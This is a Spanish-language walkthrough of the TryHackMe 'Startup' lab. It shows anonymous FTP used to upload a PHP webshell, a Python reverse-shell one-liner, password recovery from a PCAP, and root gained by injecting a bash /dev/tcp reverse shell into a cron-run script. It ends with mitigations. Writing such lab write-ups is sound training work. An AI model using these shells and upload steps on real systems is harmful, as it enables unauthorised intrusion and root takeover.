Startup - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Startup - TryHackMe Walkthrough
Bienvenido a mi writeup de Startup de TryHackMe.
Es una máquina Linux de dificultad fácil en la que consigo acceso inicial abusando de un FTP anónimo con permisos de escritura para subir una webshell. Luego, encuentro una captura de red con credenciales en texto plano y termino escalando a root al modificar un script que parece ejecutarse periódicamente con privilegios elevados.
Room: Startup
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root
🎯 Información del Objetivo
IP Target: 10.80.130.194
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Compruebo primero si la máquina está activa:
ping -c4 10.80.130.194-c4→ Envía 4 paquetes ICMP y finaliza
64 bytes from 10.80.130.194: icmp_seq=1 ttl=62 time=55.9 ms
El TTL recibido me da una pista de que posiblemente estoy ante un sistema Linux.
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
Escaneo de Puertos
Lanzo un escaneo de puertos y versiones:
nmap -sSV -T4 -n 10.80.130.194-sS→ SYN scan (stealth)-sV→ Detección de versiones-T4→ Plantilla de tiempo agresiva-n→ Sin resolución DNS
En la siguiente captura se observa el resultado del escaneo con los tres puertos principales expuestos:

Veo tres servicios expuestos:
- 21/tcp → FTP (vsftpd 3.0.3)
- 22/tcp → SSH (OpenSSH 7.2p2)
- 80/tcp → HTTP (Apache 2.4.18)
📁 Fase 2: Enumeración
Enumeración Web
Entro en la web y aparece un mensaje indicando que el sitio todavía está en desarrollo y que no hay contenido relevante.
Esta es la página inicial que encuentro en el puerto 80:

Para validarlo, hago fuzzing de directorios:
dirb http://10.80.130.194 /usr/share/wordlists/dirb/small.txt- Primer argumento → URL objetivo
- Segundo argumento → Wordlist usada para fuzzing de directorios
Encuentro la ruta /files.
Dentro veo:
- Un directorio
/ftp/ - Una imagen
important.jpg - Un archivo
notice.txt
Aquí se ve el índice del directorio /files con los recursos expuestos:

Investigo los recursos:
El directorio \ftp\ está vacio.
La imagen important.jpg es un meme de amongus
El contenido de notice.txt menciona :
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY.
People downloading documents from our website will think we are a joke!
Now I dont know who it is, but Maya is looking pretty sus.Lo único relevante es que nombra a Maya, así que podría haber pistas sobre usuarios internos y sobre el origen de los archivos que aparecen en web.
Enumeración FTP Anónimo
Como el puerto 21 está abierto y en web veo una carpeta /ftp/, posiblemente esta carpeta sea donde se guarden los recursos FTP.
Compruebo si FTP permite acceso anónimo:
nmap -p 21 --script=ftp-anon 10.80.130.194-p 21→ Escanea solo el puerto FTP--script=ftp-anon→ Ejecuta el script NSE para comprobar acceso anónimo
El script confirma acceso anónimo y, además, permisos de escritura para el usuario anónimo.
En esta salida se confirma el acceso anónimo y la capacidad de escritura en el recurso FTP:

Este punto es clave porque podría permitirme subir un archivo ejecutable por el servidor web.
🚀 Fase 3: Explotación
Subida de Webshell y RCE
Preparo la webshell PHP. Usaré esta webshell que encontré en GitHub.
La subo al FTP con el usuario Anonimo:
put webshell.phpput→ Sube un archivo desde local al servidor FTPwebshell.php→ Archivo PHP que quiero alojar en el recurso web
Luego visito la ruta publicada por el sitio en:
/ftp/webshell.php
La siguiente captura muestra la webshell funcionando desde la ruta publicada en web:

La webshell responde correctamente, así que ya tengo ejecución remota de comandos como www-data.
Reverse Shell
Para trabajar más cómodo, me envío una reverse shell.
Primero me pongo en escucha:
nc -nlvp 4444-n→ Sin resolución DNS-l→ Modo escucha-v→ Salida verbose-p 4444→ Puerto local de escucha
Desde la webshell ejecuto:
export RHOST="192.168.205.78";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'export RHOST / RPORT→ Define IP y puerto para la conexión reversapython -c→ Ejecuta el payload en una sola líneasocket.connect(...)→ Conecta con mi listeneros.dup2(...)→ Redirige stdin/stdout/stderr al socketpty.spawn("sh")→ Lanza una shell interactiva
Recibo la conexión y obtengo una shell interactiva como www-data.
📁 Fase 4: Post-Explotación
Enumeración del Sistema
Revisando el sistema encuentro:
- Un archivo
recipe.txten raíz - Un directorio de usuario para lennie
- Un archivo sospechoso en
/incident
El archivo de /incident es una captura de red .pcap. La muevo al directorio FTP para descargarla y analizarla desde mi máquina.
Análisis PCAP y Credenciales
En la captura observo comandos ejecutados por www-data desde una webshell y aparece una contraseña en texto plano:
Al probarla por SSH, veo que corresponde al usuario lennie.
Con eso consigo acceso por SSH y puedo moverme con un usuario más estable dentro del sistema.
🚩 Flag de Usuario
Dentro del entorno de lennie localizo la flag de usuario:
🚩 Flag de usuario capturada.
⬆️ Fase 5: Escalada de Privilegios
Abuso de Script Ejecutado por Root
En el home de lennie encuentro el script planner.sh, que parece ejecutarse cada minuto con privilegios de root.
El script utiliza startup_list.txt (sin permisos de lectura para mí) y luego llama a /etc/print.sh.
En toda esta cadena, lennie tiene permisos de escritura en el script auxiliar, donde inyecto una reverse shell:
bash -c 'exec bash -i &>/dev/tcp/192.168.205.78/12345 <&1'bash -c→ Ejecuta el comando completo en una nueva shell/dev/tcp/IP/PUERTO→ Abre conexión TCP hacia mi listenerbash -i→ Shell interactiva&>/... <&1→ Redirige salida y entrada a la conexión de red
Me pongo a la escucha:
nc -lvnp 12345-l→ Modo escucha-v→ Salida detallada-n→ Sin resolución DNS-p 12345→ Puerto local para recibir la shell root
Espero a que se ejecute de manera programada el flujo.
Al poco tiempo recibo una conexión como root.
🚩 Flag de Root
Con privilegios de root accedo a la flag final:
/root/root.txt🚩 Flag de root capturada.
📊 Resumen
Cadena de Ataque
nmap → FTP anónimo → webshell PHP → reverse shell → análisis PCAP → credencial lennie → SSH → abuso script → root.txt
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y enumeración FTP anónimo
- dirb — Fuzzing de directorios web
- FTP client — Subida de webshell
- netcat — Listeners para reverse shell
- Wireshark/tcpdump — Análisis de captura PCAP
- ssh — Acceso remoto con credenciales obtenidas
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| FTP anónimo con permisos de escritura | CRÍTICA | Deshabilitar acceso anónimo y aplicar permisos mínimos en recursos FTP |
| Ejecución de archivos subidos desde ruta web | ALTA | Separar almacenamiento de uploads del docroot y bloquear ejecución de scripts |
| Credenciales en texto plano dentro de tráfico capturado | ALTA | Usar protocolos cifrados y políticas de gestión de credenciales seguras |
| Script invocable por root modificable por usuario no privilegiado | CRÍTICA | Proteger permisos de scripts y validar integridad de tareas programadas |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.